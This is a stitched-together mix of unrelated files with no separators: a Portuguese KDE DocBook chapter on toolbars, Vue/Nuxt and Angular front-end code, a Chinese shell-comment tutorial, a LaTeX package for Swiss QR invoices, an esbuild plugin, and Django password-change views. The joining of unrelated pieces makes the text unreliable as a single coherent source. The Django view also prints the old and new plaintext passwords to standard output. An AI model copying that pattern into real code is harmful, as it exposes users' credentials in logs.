combinação de teclas que deseja usar como atalho, como por exemplo <keycombo action="simul" > &Ctrl;&Shift;<keycap >S</keycap ></keycombo >.</para> </sect1> <sect1 id="configtoolbars"> <title >Barras de Ferramentas</title> <para >O &sheets; tem seis barras de ferramentas: <guilabel >Ficheiro</guilabel >, <guilabel >Editar</guilabel >, <guilabel >Navegação</guilabel >, <guilabel >Formato</guilabel >, <guilabel >Tipo de Letra</guilabel > e <guilabel >Cor/Contorno</guilabel >, cada uma das quais pode ou não estar visível, de acordo com o menu <guimenu >Configuração</guimenu >.</para> <para >Escolha se a barra de ferramentas aparece no <guimenuitem >Topo</guimenuitem >, <guimenuitem >Esquerda</guimenuitem >, <guimenuitem >Direita</guimenuitem > ou <guimenuitem >Fundo</guimenuitem > da janela do &sheets; carregando com o botão <mousebutton >direito</mousebutton > do rato na barra de ferramentas, o que faz aparecer o <guilabel >Menu de Barra de Ferramentas</guilabel >, e escolhendo do sub-menu <guisubmenu >Orientação</guisubmenu >. O <guilabel >Menu de Barra de Ferramentas</guilabel > também tem sub-menus para escolher se a barra de ferramentas mostrar ícones, texto ou ambos e o tamanho dos ícones.</para> <para >Outra forma de mover uma barra de ferramentas é posicionando o cursor do rato sobre as barras verticais do extremo esquerdo de cada barra de ferramentas e mantendo o botão <mousebutton >esquerdo</mousebutton > do rato carregado, enquanto você arrasta a barra de ferramentas para a posição desejada. Quando você arrastar a barra de ferramentas desta forma, você poderá largar o botão do rato quando estiver a uma distância aceitável dos lados da janela do &sheets;, para que você possa obter uma barra de ferramentas flutuante, a qual não está presa a nenhuma parte em particular da janela do &sheets; e possa, de facto, ser movida para fora da janela. Para colocar de volta uma barra de ferramentas flutuante numa das suas posições normais, carregue com o botão <mousebutton >direito</mousebutton > na sua barra de título para mostrar o <guilabel >Menu da Barra de Ferramentas</guilabel >, escolhendo então uma das opções no submenu <guisubmenu >Orientação</guisubmenu >.</para> <para >Se seleccionar a opção <guimenuitem >Configurar as Barras de Ferramentas...</guimenuitem > do menu <guimenu >Configuração</guimenu >, fará aparecer uma janela que lhe permite adicionar ou remover botões das barras de ferramentas do &sheets;.</para> <para >Para usar esta janela de <guilabel >Configurar as Barras de Ferramentas</guilabel >, seleccione primeiro uma barra de ferramentas da lista <guilabel >Barra de Ferramentas:</guilabel >. A janela das <guilabel >Acções actuais:</guilabel > irá então mostrar os botões presentes de momento na barra de ferramentas. Você poderá remover um botão se o seleccionar nesta janela e carregar com o botão com a seta esquerda, ou mudar a sua posição se carregar nas setas para cima ou para baixo. Para adicionar um novo botão à barra de ferramentas seleccione-o na lista das <guilabel >Acções disponíveis:</guilabel > e carregar na seta para a direita.</para> </sect1> </chapter> <!-- Local Variables: mode: sgml sgml-parent-document: ("index.docbook" "book" "chapter") sgml-minimize-attributes:nil sgml-general-insert-case:lower sgml-indent-step:0 sgml-indent-data:nil End: -->
<template> <div> <div class="flex justify-center mt-24"> <img :src="'/images/covers/' + article.cover" :alt="article.title" class="object-cover w-96" /> </div> <div class="px-4 mx-auto sm:px-6 xl:max-w-7xl xl:px-0 mt-10"> <ArticleHeader :article="article" :site-metadata="siteMetadata" /> <div class="text-left mx-auto"> <div class="flex flex-wrap lg:flex-row-reverse py-12"> <div v-if="article.body.toc.links.length > 0" class="w-full lg:w-1/4 px-5" > <PageSidebar :toc="article.body.toc.links" /> </div> <div class="w-full px-5 max-w-none centered-image" :class=" article.body.toc.links.length > 0 ? 'lg:w-3/4 ' : '' " > <ContentRenderer id="nuxtContent" class="prose font-proxima text-sm md:text-xl font-medium min-w-full md:p-10 mx-auto" :value="article" /> </div> </div> </div> <EditOnGithub :path="article._path" /> <hr class="mb-8" /> <SharingButtons :title="article.title" :twitter_user="siteMetadata.twitter_user" :post-link="postLink" /> <!-- <div id="hyvor-talk-view"></div> --> </div> </div> </template> <script setup lang="ts"> import siteMetaInfo from "../../data/siteMetaData"; import { useFormatDateToIso } from "~/composables/useFormatDate"; import { useHyvor } from "~/composables/useHyvor"; import { useYoutubeTwitterEnhancer } from "~/composables/useYoutubeTwitterEnhancer"; import { useExtractSlugFromParams } from "~/composables/useExtractSlugFromParams"; import SharingButtons from "~/components/SharingButtons.vue"; import EditOnGithub from "~/components/EditOnGithub.vue"; const route = useRoute(); const siteMetadata = ref(siteMetaInfo); const pathMatch = useExtractSlugFromParams(route.params.slug, route.params.id); const { data: article } = await useAsyncData(pathMatch, async () => { const article = await queryContent("articles") .where({ _path: pathMatch }) .findOne(); return article; }); onMounted(() => { useHyvor(article.value?.id); useYoutubeTwitterEnhancer("nuxtContent"); }); const postLink = computed(() => { return ( siteMetadata.value.siteUrl + article.value?._path.replace("/articles/", "") ); }); const alternates = article.value?.alternates?.map((alternate: any) => { const key = Object.keys(alternate)[0]; const value = alternate[key]; return { rel: "alternate", href: value, hreflang: key, }; }) || []; alternates.push({ rel: "alternate", href: postLink.value, hreflang: article.value?.language || "fr", }); useHead({ title: article.value?.title + " | " + siteMetaInfo.title, htmlAttrs: { lang: article.value?.language || "fr", }, meta: [ { hid: "description", name: "description", content: article.value?.description, }, { hid: "og:description", name: "og:description", content: article.value?.description, }, { hid: "og:type", name: "og:type", content: "article" }, { hid: "og:title", name: "og:title", content: article.value?.title }, { hid: "og:url", name: "og:url", content: "https://ajimoti.co" + article.value?._path.replace("/articles", ""), }, { hid: "og:image", name: "og:image", content: "https://ajimoti.co" + "/images/covers/" + article.value?.cover, }, { name: "og:image:alt", content: article.value?.title }, { name: "twitter:text:title", content: article.value?.title }, { name: "twitter:image", content: "https://ajimoti.co" + "/images/covers/" + article.value?.cover, }, { name: "twitter:card", content: "summary" }, { name: "article:published_time", content: useFormatDateToIso(article.value?.date), }, { name: "article:article:modified_time", content: useFormatDateToIso(article.value?.date), }, { name: "article:article:tag", content: article.value?.tags ? article.value.tags?.toString() : "", }, ], link: [ { rel: "canonical", href: "https://ajimoti.co" + article.value?._path.replace("/articles", ""), }, ...alternates, ], }); </script> <style> .nuxt-content h2 { font-weight: bold; font-size: 28px; } .nuxt-content h3 { font-weight: bold; font-size: 22px; } .nuxt-content p { margin-bottom: 20px; } </style>
# 符号 在 Shell 中包含许多的的特殊符号,比如我们常见的井号、管道符等。 ## 井号 (comments) 井号后面的是注解文字,不会被执行。 ```bash # 我是注解文字 ``` 如果被用在指令中,或者引号双引号括住的话,或者在倒斜线的后面,那他就变成一般符号,不具上述的特殊功能。 ```bash echo "# 我只是普通字符" ``` 另外,它用在脚本的第一行时通常是指定解释器,即这个脚本必须通过什么解释器执行。这一行以 `#!` 字符开头,后面就是脚本解释器的位置。 ```bash #! /bin/bash ``` 多说一句,除了上面指定方式外,还可以借助 `env` 命令。 ```bash #! /usr/bin/env bash ``` 这里 `/usr/bin/env bash` 的意思就是,返回 `bash` 可执行文件的位置,前提是 `bash` 的路径是在 `$PATH` 里面。
<template> <div class="addAccountBox"> <el-dialog title="提示" :visible.sync="dialogVisible" :close-on-click-modal="false" @close="close"> <div class="search_wrap"> <el-input v-model="searchText" placeholder="支持姓名搜索" size="mini" clearable @clear="search"> <el-button slot="append" class="search_btn" size="mini" icon="el-icon-search" @click="search" /> </el-input> <el-button type="primary" icon="el-icon-plus" @click="openNewDialog" >新增</el-button> </div> <div> <el-table stripe style="width: 100%" :data="tableData" size="mini"> <el-table-column prop="loginName" label="用户名" /> <el-table-column prop="name" label="姓名" /> <el-table-column prop="organizationName" label="所属机构" width="300" /> <el-table-column label="操作"> <template slot-scope="scope"> <el-button size="mini" type="danger" @click="handleDelete(scope.$index, scope.row)" >删除</el-button> </template> </el-table-column> </el-table> <el-pagination :page-sizes="[10]" :page-size="pageSize" layout="total, prev, pager, next, jumper" :total="totalCount" @current-change="handleCurrentChange" /> </div> <span slot="footer" class="dialog-footer"> <el-button type="primary" @click="close" >关 闭</el-button> </span> </el-dialog> <el-dialog class="addNew_container" :visible.sync="addNew" title="添加用户" @close="addNew = false"> <el-row> <el-col :span="8"> <div class="grid-content bg-purple" /> </el-col> <el-col :span="16"> <!-- <el-checkbox>备选项</el-checkbox> --> </el-col> </el-row> <el-row class="tree_wrap" type="flex"> <el-col class="left_box"> <el-tree ref="systemTree" class="scrollbar" :props="defaultProps" :data="treeData" node-key="id" :default-expanded-keys="['3DDD67AC-AF99-46ED-A5B4-31408BADAC72']" accordion :highlight-current="true" :expand-on-click-node="false" /> </el-col> <el-col class="right_box"> <el-checkbox-group> <el-checkbox label="复选框 A" /> <el-checkbox label="复选框 B" /> <el-checkbox label="复选框 C" /> <el-checkbox label="复选框 C" /> <el-checkbox label="复选框 C" /> </el-checkbox-group> </el-col> </el-row> <span slot="footer" class="dialog-footer"> <el-button @click="addNew = false">取 消</el-button> <el-button type="primary" @click="addNew = false" >确 定</el-button> </span> </el-dialog> </div> </template> <script> export default { name: 'AddAccount', components: {}, props: ['isShow', 'RoleId'], data() { return { dialogVisible: this.isShow, addNew: false, tableData: [], pageIndex: 1, pageSize: 10, totalCount: 0, totalPage: 0, searchText: '', treeData: [] } }, computed: {}, mounted() { this.getAccountTree() this.getTableData().then(res => { this.tableData = res.data.list this.pageIndex = res.data.pageIndex this.pageSize = +res.data.pageSize this.totalCount = +res.data.totalCount this.totalPage = res.data.totalPage }) }, methods: { // 获取当前角色 用户列表 getTableData() { return this.$store.dispatch('center/getRoleAccountList', { id: this.RoleId, condition: { pageIndex: this.pageIndex, name: this.searchText }, container: { flag: false }} ) }, // 获取公司部门组织架构树 getAccountTree() { this.$store.dispatch('center/getDepartmentData').then(res => { this.treeData = res.data }) }, close() { this.$emit('changeState', { state: false }) }, // 打开弹窗 openNewDialog() { this.addNew = true }, // 删除角色用户 handleDelete(index, data) { /* this.$store.dispatch('center/roleSystemTree',{ id:data.id, method:'delete', }) */ }, // 分页器 handleCurrentChange(val) { console.log(val) this.pageIndex = val this.getTableData().then(res => { this.tableData = res.data.list }) }, search() { this.getTableData().then(res => { this.tableData = res.data.list }) } } } </script> <style scoped lang='scss'> .addAccountBox{ .el-dialog{ width: 800px; } .search_wrap{ display: flex; margin-bottom: 20px; .el-input{ width: 300px; margin-right: 30px; .search_btn{ width: 40px; text-align: center; } } .el-button{ height: 28px; } } } .addNew_container{ .tree_wrap{ background-color: rgb(248, 251, 251); padding: 10px; .left_box{ border-right: 1px solid #D1DDF0; .el-tree{ height: 400px;width: 300px; background-color: rgb(248, 251, 251); overflow-y: auto; } } .right_box{ width: 600px; height: 400px; padding-left: 10px; } } } /* 滚动条样式 */ .scrollbar::-webkit-scrollbar { /*滚动条整体样式*/ width: 6px; /*高宽分别对应横竖滚动条的尺寸*/ height: 6px; } .scrollbar::-webkit-scrollbar-thumb { /*滚动条里面小方块*/ cursor: pointer; background-color: rgba(144, 147, 153, 0.3); transition: background-color 0.3s; border-radius: 3px; } </style>
import { Directive, Injector, OnDestroy } from '@angular/core'; import { MatBottomSheet } from '@angular/material/bottom-sheet'; import { ToastrService } from 'ngx-toastr'; import { Observable, Subscription } from 'rxjs'; import { BottomPopupComponent, PopupAction } from 'src/app/module/popup/bottom/bottom-popup.component'; import { PrivateService } from 'src/app/module/private/private.service'; import { ErrorService } from 'src/app/service/error.service'; @Directive() export class BasePageComponent implements OnDestroy { protected subscription: Subscription = new Subscription(); protected toastr: ToastrService; protected matBottomSheet: MatBottomSheet; protected privateService: PrivateService; protected errorService: ErrorService; constructor(protected injector: Injector) { this.toastr = this.injector.get(ToastrService); this.matBottomSheet = this.injector.get(MatBottomSheet); this.privateService = this.injector.get(PrivateService); this.errorService = this.injector.get(ErrorService); } confirm(data: { title?: string, options: PopupAction[] }): Observable<Boolean> { return new Observable<Boolean>(obs => { this.subscription.add(this.matBottomSheet.open(BottomPopupComponent, { data }).afterDismissed().subscribe(t => { if (t === true) { obs.next(true); } else { obs.next(false); } })); }) } ngOnDestroy(): void { this.subscription.unsubscribe(); } }
% \iffalse meta-comment % vim: textwidth=75 %<*internal> \iffalse %</internal> %<*internal> \fi \def\nameofplainTeX{plain} \ifx\fmtname\nameofplainTeX\else \expandafter\begingroup \fi %</internal> %<*install> \input docstrip.tex \keepsilent \askforoverwritefalse \preamble -----------------------:| ------------------------------------------------- qrrechnung: | Main style to print qrrechnung Author:| Benedikt Trefzer E-mail:| benedikt.trefzer@cirrax.com License:| Released under the LaTeX Project Public License v1.3c or later See:| http://www.latex-project.org/lppl.txt \endpreamble \postamble Copyright (C) 2020 by Benedikt Trefzer, Cirrax GmbH <benedikt.trefzer@cirrax.com> This work may be distributed and/or modified under the conditions of the LaTeX Project Public License (LPPL), either version 1.3c of this license or (at your option) any later version. The latest version of this license is in the file: http://www.latex-project.org/lppl.txt This work is "maintained" (as per LPPL maintenance status) by (not set). This work consists of the file qrrechnung-translations.dtx \endpostamble \usedir{tex/latex/qrrechnung} \generate{ \file{\jobname.sty}{\from{\jobname.dtx}{package}} } %</install> %<install>\endbatchfile %<*internal> \usedir{source/latex/qrrechnung} \generate{ \file{\jobname.ins}{\from{\jobname.dtx}{install}} } \nopreamble\nopostamble \usedir{doc/latex/qrrechnung} \ifx\fmtname\nameofplainTeX \expandafter\endbatchfile \else \expandafter\endgroup \fi %</internal> % \fi % % \iffalse %<*driver> \ProvidesFile{qrrechnung.dtx} %</driver> %<package>\NeedsTeXFormat{LaTeX2e}[1999/12/01] %<package>\ProvidesPackage{qrrechnung} %<*package> [2018/01/01 v0.0.1 'QR-Rechnung' positioning package] %</package> %<package>\RequirePackage{qrrechnung-translations} %<package>\RequirePackage{qrrechnung-definitions} %<package>\RequirePackage{qrrechnung-output} %<package>\RequirePackage{ifthen} %<package>\RequirePackage{calc} %<package>\RequirePackage{microtype} %<package>\RequirePackage[nolinks]{qrcode} %<package>\RequirePackage{fontspec} %<package>\RequirePackage{pifont} %<package>\RequirePackage{rotating} %<package>\RequirePackage{tikz} %<package>\RequirePackage{xstring} %<package>\RequirePackage{calc} %<*driver> \documentclass{ltxdoc} \usepackage[a4paper,margin=25mm,left=50mm,nohead]{geometry} \usepackage[numbered]{hypdoc} \usepackage{\jobname} \EnableCrossrefs \CodelineIndex \RecordChanges \begin{document} \DocInput{\jobname.dtx} \end{document} %</driver> % \fi % % \GetFileInfo{\jobname.dtx} % \DoNotIndex{\newcommand,\newenvironment} % %\title{\textsf{qrrechnung} --- A new LaTeX package\thanks{This file % describes version \fileversion, last revised \filedate.} %} %\author{Benedikt Trefzer, Cirrax GmbH\thanks{E-mail: benedikt.trefzer@cirrax.com}} %\date{Released \filedate} % %\maketitle % %\changes{v1.00}{2020/02/06}{First public release} % % \begin{abstract} % Provides the api to print qrrechnung. % \end{abstract} % % \section{Usage} % % just use ! % % %\StopEventually{^^A % \PrintChanges % \PrintIndex %} % % \section{Implementation} % % \begin{macrocode} %<*package> % \end{macrocode} % \begin{macro}{\qrrechnung@betrag} % set an empty default to avoid undefine if the amount is not set. % \begin{macrocode} \def\qrrechnung@betrag{} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungBetrag} % Optional set the amount to insert into the qrrechnung. % \begin{macrocode} \def\qrrechnungBetrag#1#2{ \def\qrrechnung@betrag{#1} \def\qrrechnung@betragQR{ #1 \? } \def\qrrechnung@waehrung{#2} \def\qrrechnung@waehrungQR{ #2 \? } } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungIBAN} % % \begin{macrocode} \def\qrrechnungIBAN#1{ \StrDel{#1}{ }[\IbanZ] % remove spaces \StrLeft{\IbanZ}{21}[\Iban] % ensure 21 chars \StrLeft{\Iban}{4}[\IbanA] % first quadrupel \StrMid{\Iban}{5}{8}[\IbanB] \StrMid{\Iban}{9}{12}[\IbanC] \StrMid{\Iban}{13}{16}[\IbanD] \StrMid{\Iban}{17}{20}[\IbanE] \StrRight{\Iban}{1}[\IbanF] \def\qrrechnung@iban{\IbanA\,\IbanB\,\IbanC\,\IbanD\,\IbanE\,\IbanF} \def\qrrechnung@ibanQR{ \Iban \? } } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungZahlungsempfaenger} % 1 Name (firstname + lastname or company name) (max 70 chars) % 2 address line 1 % 3 postal code and town % 4 Two digit country code according to ISO-3166-1 % % Remark: only combined format is supported currently % \begin{macrocode} \def\qrrechnungZahlungsempfaenger#1#2#3#4{ \StrLeft{#1}{70}[\ZEname] \StrLeft{#2}{70}[\ZEaddrA] \StrLeft{#3}{70}[\ZEaddrB] \StrLeft{#4}{2}[\ZEctry] \def\qrrechnung@zahlungsempfaenger{ \ZEname \\ \ZEaddrA \\ \ZEaddrB } \StrSubstitute{\ZEname}{ }{\ }[\ZEnameQR] \StrSubstitute{\ZEaddrA}{ }{\ }[\ZEaddrAQR] \StrSubstitute{\ZEaddrB}{ }{\ }[\ZEaddrBQR] \def\qrrechnung@zahlungsempfaengerQR{ K \? \ZEnameQR \? \ZEaddrAQR \? \ZEaddrBQR \? \? \? \ZEctry \? } } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnung@referenzQR} % % \begin{macrocode} \def\qrrechnung@referenzQR{ NON \? } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungReferenz} % 1 Reference type % QRR: QR reference (26 characters, without check sum (will be calculated with latex) % SCOR: Creditor refererence (ISO 11649) % NON: without reference % 2 reference either QRR or SCOR, ignored for NON % \begin{macrocode} \def\qrrechnungReferenz#1#2{ \ifthenelse{\equal{#1}{QRR}}{ \StrLeft{#2}{26}[\Referenz] \qrr@checksum{\Referenz} % defines \RefFull \qrr@padqrref{\RefFull} % defines \RefPadded \def\qrrechnung@referenz{ \qrr@padding{5}{\RefPadded}{\,}\\ } \def\qrrechnung@referenzQR{ QRR \?% \RefPadded\?% } }{} \ifthenelse{\equal{#1}{SCOR}}{ \StrLeft{#2}{25}[\Referenz] \def\qrrechnung@referenz{\Referenz} \def\qrrechnung@referenzQR{ SCOR \? \Referenz \? } }{} } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnung@unstrukturierteinfoQR} % % \begin{macrocode} \def\qrrechnung@unstrukturierteinfoQR{\?} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungUnstrukturierteInfo} % % \begin{macrocode} \def\qrrechnungUnstrukturierteInfo#1{ \StrLeft{#1}{140}[\WI] \StrSubstitute{\WI}{ }{\ }[\WIQR] \def\qrrechnung@unstrukturierteinfoQR{ \WIQR \? } \def\qrrechnung@unstrukturierteinfo{\WI} \def\qrrechnung@printzusatz{} } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnung@rechnungsinfoQR} % empty definition for QR code % \begin{macrocode} \def\qrrechnung@rechnungsinfoQR{\?} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungRechnungsInfo} % print maximal 140 characters in QR code % print maximal 53 chars on paper % if more, print 50 chars and '...' at end of line % \begin{macrocode} \def\qrrechnungRechnungsInfo#1{ \StrLen{#1}[\len] \StrLeft{#1}{140}[\RI] \StrLeft{#1}{50}[\RIS] \def\qrrechnung@rechnungsinfoQR{ \RI \? } \ifnum\len<53% \def\qrrechnung@rechnungsinfo{\RI} \else \def\qrrechnung@rechnungsinfo{\RIS...} \fi \def\qrrechnung@printzusatz{} } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnung@zusatzinfo} % % \begin{macrocode} \def\qrrechnung@zusatzinfo{ \ifthenelse{\isundefined{\qrrechnung@unstrukturierteinfo}{}}{}{ \qrrechnung@unstrukturierteinfo\\ } \ifthenelse{\isundefined{\qrrechnung@rechnungsinfo}{}}{}{ \qrrechnung@rechnungsinfo\\ } } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnugn@AVerfahrenAQR} % preparation for alternatives, this will probably change ! % \begin{macrocode} \def\qrrechnugn@AVerfahrenAQR{} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnugn@AVerfahrenA} % preparation for alternatives, this will probably change ! % \begin{macrocode} \def\qrrechnugn@AVerfahrenA{} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnugn@AVerfahrenAname} % preparation for alternatives, this will probably change ! % \begin{macrocode} \def\qrrechnugn@AVerfahrenAname{} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungAVerfahrenA} % preparation for alternatives, this will probably change ! % \begin{macrocode} \def\qrrechnungAVerfahrenA#1#2{ \StrLeft{#2}{100}[\AVerfahrenA] \def\qrrechnugn@AVerfahrenAQR{ \AVerfahrenA \? } \def\qrrechnugn@AVerfahrenA{ \AVerfahrenA } \def\qrrechnugn@AVerfahrenAname{ #1 } } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungAVerfahrenBQR} % preparation for alternatives, this will probably change ! % \begin{macrocode} \def\qrrechnugn@AVerfahrenBQR{} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungAVerfahrenBQR} % preparation for alternatives, this will probably change ! % \begin{macrocode} \def\qrrechnugn@AVerfahrenB{} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnugn@AVerfahrenBname} % preparation for alternatives, this will probably change ! % \begin{macrocode} \def\qrrechnugn@AVerfahrenBname{} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnugn@AVerfahrenB} % preparation for alternatives, this will probably change ! % \begin{macrocode} \def\qrrechnungAVerfahrenB#1#2{ \StrLeft{#2}{100}[\AVerfahrenB] \def\qrrechnugn@AVerfahrenBQR{ \AVerfahrenB \? } \def\qrrechnugn@AVerfahrenB{ \AVerfahrenB } \def\qrrechnugn@AVerfahrenBname{ #1 } } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnung@zahlungspflichtiger} % % \begin{macrocode} \def\qrrechnung@zahlungspflichtiger{} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnung@zahlungspflichtigerQR} % % \begin{macrocode} \def\qrrechnung@zahlungspflichtigerQR{} % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungZahlungspflichtiger} % 1 Name (firstname + lastname or company name) (max 70 chars) % 2 address line 1 % 3 postal code and town % 4 Two digit country code according to ISO-3166-1 % % Remark: only combined format is supported currently % % \begin{macrocode} \def\qrrechnungZahlungspflichtiger#1#2#3#4{ \ifthenelse{\equal{#1}{}}{ \def\qrrechnung@zahlungspflichtiger{} \def\qrrechnung@zahlungspflichtigerQR{ } }{ \StrLeft{#1}{70}[\ZPname] \StrLeft{#2}{70}[\ZPaddrA] \StrLeft{#3}{70}[\ZPaddrB] \StrLeft{#4}{2}[\ZPctry] \def\qrrechnung@zahlungspflichtiger{ \ZPname \\ \ZPaddrA \\ \ZPaddrB } \StrSubstitute{\ZPname}{ }{\ }[\ZPnameQR] \StrSubstitute{\ZPaddrA}{ }{\ }[\ZPaddrAQR] \StrSubstitute{\ZPaddrB}{ }{\ }[\ZPaddrBQR] \def\qrrechnung@zahlungspflichtigerQR{ K \? \ZPnameQR \? \ZPaddrAQR \? \ZPaddrBQR \? \? \? \ZPctry \? } } } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungLang} % language option % \begin{macrocode} \newcommand{\qrrechnungLang}{de} \DeclareOption{de}{\renewcommand{\qrrechnungLang}{de}} \DeclareOption{fr}{\renewcommand{\qrrechnungLang}{fr}} \DeclareOption{it}{\renewcommand{\qrrechnungLang}{it}} \DeclareOption{en}{\renewcommand{\qrrechnungLang}{en}} \ProcessOptions\relax \def\qrrechnungLanguage#1{ \renewcommand{\qrrechnungLang}{#1} } % \end{macrocode} % \end{macro} % \begin{macro}{\qrrechnungForm} % % \begin{macrocode} \newcommand{\qrrechnungForm}{print} \DeclareOption{print}{\renewcommand{\qrrechnungForm}{print}} \DeclareOption{email}{\renewcommand{\qrrechnungForm}{email}} \ProcessOptions\relax \def\qrrechnungFormat#1{ \renewcommand{\qrrechnungForm}{#1} } % \end{macrocode} % \end{macro} % \begin{macro}{\printQRrechnung} % % \begin{macrocode} \newcommand{\printQRrechnung}{ \qrrO@initialize \qrrO@seplines \qrrO@Etitle \qrrO@Einformation \qrrO@Eamount \qrrO@Eacceptancepoint \qrrO@Ptitle \qrrO@Pqrcode \qrrO@Pamount \qrrO@Pinformation \qrrO@Pfurtherinfo } % \end{macrocode} % \end{macro} \endinput % \begin{macrocode} %</package> % \end{macrocode} %\Finale
import * as esbuild from 'esbuild-wasm'; // // Immediately invoked function for test purposes // (async () => { // await fileCache.setItem('color', 'red'); // const color = await fileCache.getItem('color') // console.log(color) // })() export const unpkgPathPlugin = () => { return { name: 'unpkg-path-plugin', setup(build: esbuild.PluginBuild) { // with this approach, you'll write multiple Resolves // Each filter will resolve a specific path // Handle root entry file of 'index.js' build.onResolve({ filter: /(^index\.js$)/ }, () => { return { path: 'index.js', namespace: 'a' } }) // Handle relative paths in a module build.onResolve({ filter: /^\.+\// }, async (args: any) => { return { namespace: 'a', // this will either append to the resolve url e.g. args.path = ./utils // go to the root folder e.g. args.path = ./ // or go back two folders away e.g. args.path = ../ path: new URL(args.path, 'https://unpkg.com' + args.resolveDir + '/').href } }) // Handle main file of a module build.onResolve({ filter: /.*/ }, async (args: any) => { return { namespace: 'a', path: `https://unpkg.com/${args.path}` } }); // // with this approach, your filter will be based on every file // // then you'll use if statement to resolve each available case // build.onResolve({ filter: /.*/ }, async (args: any) => { // if (args.path === "index.js") { // return { path: args.path, namespace: 'a' }; // } // if (args.path.includes('./') || args.path.includes('../')) { // return { // namespace: 'a', // // this will either append to the resolve url e.g. args.path = ./utils // // go to the root folder e.g. args.path = ./ // // or go back two folders away e.g. args.path = ../ // path: new URL(args.path, 'https://unpkg.com' + args.resolveDir + '/').href // } // } // return { // namespace: 'a', // path: `https://unpkg.com/${args.path}` // } // }); }, }; };
from users.api.serializers import ChangePasswordSerializer from users.models import Account from rest_framework.generics import RetrieveUpdateAPIView, get_object_or_404,ListAPIView,RetrieveAPIView from rest_framework.response import Response from rest_framework.permissions import IsAuthenticated from users.api.serializers import UserSerializer from rest_framework.views import APIView from rest_framework import status class AccountView(RetrieveAPIView): permission_classes = (IsAuthenticated,) serializer_class = UserSerializer queryset = Account.objects.all() def get_object(self): queryset = self.get_queryset() obj = get_object_or_404(queryset, id = self.request.user.id) return obj """ def perform_update(self, serializer): serializer.save(user = self.request.user) """ class UpdatePassowrd(APIView): permission_classes = (IsAuthenticated,) def get_object(self, queryset=None): return self.request.user def put(self, request, *args, **kwargs): self.object = self.get_object() data = { 'old_password': request.data['old_password'], 'new_password': request.data['new_password'] } serializer = ChangePasswordSerializer(data = data) if serializer.is_valid(): print(serializer.data) old_password = serializer.data.get('old_password') if not self.object.check_password(old_password): return Response({'old_password':'wrong_password'}, status=status.HTTP_400_BAD_REQUEST) self.object.set_password(serializer.data.get('new_password')) self.object.save() return Response(status = status.HTTP_204_NO_CONTENT) return Response(serializer.errors, status= status.HTTP_400_BAD_REQUEST)